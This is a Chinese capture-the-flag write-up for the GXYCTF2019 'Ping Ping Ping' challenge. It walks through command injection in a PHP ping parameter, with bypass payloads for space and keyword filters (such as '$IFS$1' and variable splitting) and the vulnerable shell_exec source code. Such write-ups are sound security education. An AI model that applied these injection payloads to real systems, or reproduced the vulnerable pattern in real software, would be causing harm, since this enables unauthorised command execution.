首页 > 其他分享 >[GXYCTF2019]Ping Ping Ping

[GXYCTF2019]Ping Ping Ping

时间:2024-10-31 23:00:33浏览次数:4  
标签:IFS ip Ping flag php GXYCTF2019 match

题目链接:https://buuoj.cn/challenges#[GXYCTF2019]Ping Ping Ping

打开环境后如下所示。

题目直接提示了有一个 GET 参数,参数名是 "ip",尝试输入:?ip=127.0.0.1 后,结果如下所示。

可以看到,网站后端进行了一个 ping 操作,猜测参数:ip 可能存在命令注入漏洞。

尝试输入:ip=;id,发现可以直接输出命令:id 的内容。

接下来先查看下当前目录下存在什么文件:ip=;ls

可以看到,当前目录下存在 flag.php 文件,猜测该文件中存放了 flag。

接下来尝试使用 Payload:;cat flag.php 来读取 flag.php 文件内容,结果如下。

根据响应包中的内容,可以知道后端判断了用户的输入是否存在空格,因此可以直接:$IFS$1 去绕过空格。(根据查询,IFS 是 "Internal Field Separator" 的缩写,它定义了 Shell 如何将输入拆分为单独的字段(默认值为空格、Tab 和换行符),修改 $IFS 可以改变命令行中字段分隔符的行为。也就是说,$IFS 就是一个标识,当遇到了该标识,Bash 将知道 $IFS 的前后是不同的字段)。

(此处,按笔者对 IFS 的理解,Payload:$IFS 即可起到空格的作用,但实际上是类似于 $IFS$1$IFS$2 等的命令才可起到代替空格的作用,不解)。

Payload:?ip=;cat$IFS$1flag.php

可以看到,后端也把 flag 样式的字符串进行了检测,那么可以先去看看 index.php 文件的内容,看看后端是怎么个样子的代码。

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

可以看到,代码中进行了正则匹配,匹配了许多的符号,诸如:&?* 等,也对 flag 字符串进行了正则匹配,也就是说,参数:ip 里不能按顺序出现 f、l、a、g 四个字符。

Payload:?ip=;a=cat;b=g.php;c=fla;$a$IFS$c$b

标签:IFS,ip,Ping,flag,php,GXYCTF2019,match
From: https://www.cnblogs.com/imtaieee/p/18519108

相关文章

  • [GXYCTF 2019]Ping Ping Ping 题解(多种解题方式)
    知识点:命令执行linux空格绕过反引号绕过      变量绕过         base64编码绕过打开页面提示"听说php可以执行系统函数?我来康康"然后输入框内提示输入bjut.edu.cn  输入之后回显信息,是ping这个网址的信息 输入127.0.0.1因为提示是命令......
  • ping命令
    Linux系统的ping命令是常用的网络命令,它通常用来测试与目标主机的连通性,我们经常会说“ping一下某机器,看是不是开着”、不能打开网页时会说“先ping网关地址192.168.1.1试试”。它通过发送ICMPECHO_REQUEST数据包到网络主机(sendICMPECHO_REQUESTtonetworkhosts),并显示响......
  • Dynamic DMA mapping Guide(重要的)
    一、前言这是一篇指导驱动工程师如何使用DMAAPI的文档,为了方便理解,文档中给出了伪代码的例程。另外一篇文档dma-api.txt给出了相关API的简明描述,有兴趣也可以看看那一篇,这两份文档在DMAAPI的描述方面是一致的。二、从CPU角度看到的地址和从DMA控制器看到的地址有什么不同?在DM......
  • 利用samtools flagstat 对bam文件统计比对率的时候看的是哪个mapping rate
     001、在samtoolsflagstat对bam的统计结果中,一共有三个比对率的结果: 002、比对率结果应该以哪个为准?答案是:以3为准 003、以山羊、绵羊的fastq数据,绵羊的参考基因组进行比对测试a、如果以primarymapped对比,基本看不出两者的差异(其中S是sheep,G是goat) b、如果以......
  • openfeign使用中不能加@RequestMapping和@Async失效的情况总结
    1.openfeign使用中不能加@RequestMapping当在openfeign实现远程调用的时候,添加上了@RequestMapping注解,导致服务无法启动。控制台报错消息如下主要会产生三种问题:·与消费方服务原有接口产生冲突·多个协议包中的RPC接口冲突·使网关路由失效如图:原因:扫描到的FeignCli......
  • Web Scraping & Data Analysis
    Assignment1:WebScraping&DataAnalysisSep31,2024Inthisassignment,youshouldworkwithdatafromTheMovieDatabase(TMDb)isapopularplatformformovieenthusiasts,offeringavastcollectionofmoviesfromallgenresandregions.TMDbprov......
  • D. Skipping
    【知难而退】,难以实时维护一个位置对应的下一个位置,那就通过一定的性质避开这个问题【枚举】到达的最右边的位置真没想到在这种特殊图上也能卡spfa啊……点击查看代码#include<bits/stdc++.h>usingnamespacestd;vector<int>a[400005];vector<int>c[400005];intval[......
  • SD6502 Programming prototyping techniques
    SD6502ProgrammingIIAssignmentIIDueDate:23rdOctober2024,11:59pmTopics(LOs):ApplyprototypingtechniquesApplyeffectiveproblem-solvingstrategiestofosterprogrammingskills.Weighting=25%oftheFinalMark.TotalMarks=100.Group......
  • SpingBoot原理
    1.配置优先级配置文件优先级排名(从高到低):1.properties配置文件2.yml配置文件3.yaml配置文件在SpringBoot项目当中除了以上3种配置文件外,SpringBoot为了增强程序的扩展性,除了支持配置文件的配置方式以外,还支持另外两种常见的配置方式:......
  • flume传输数据报错“Space for commit to queue couldn‘t be acquired. Sinks are li
        最近在写一个数据量比较大的项目时候,需要使用flume将kafka中的数据传输到HDFS上进行存储,方便后续的数仓搭建,但是flume在传输数据中却报错如下日志org.apache.flume.ChannelFullException:Spaceforcommittoqueuecouldn'tbeacquired.Sinksarelikelynot......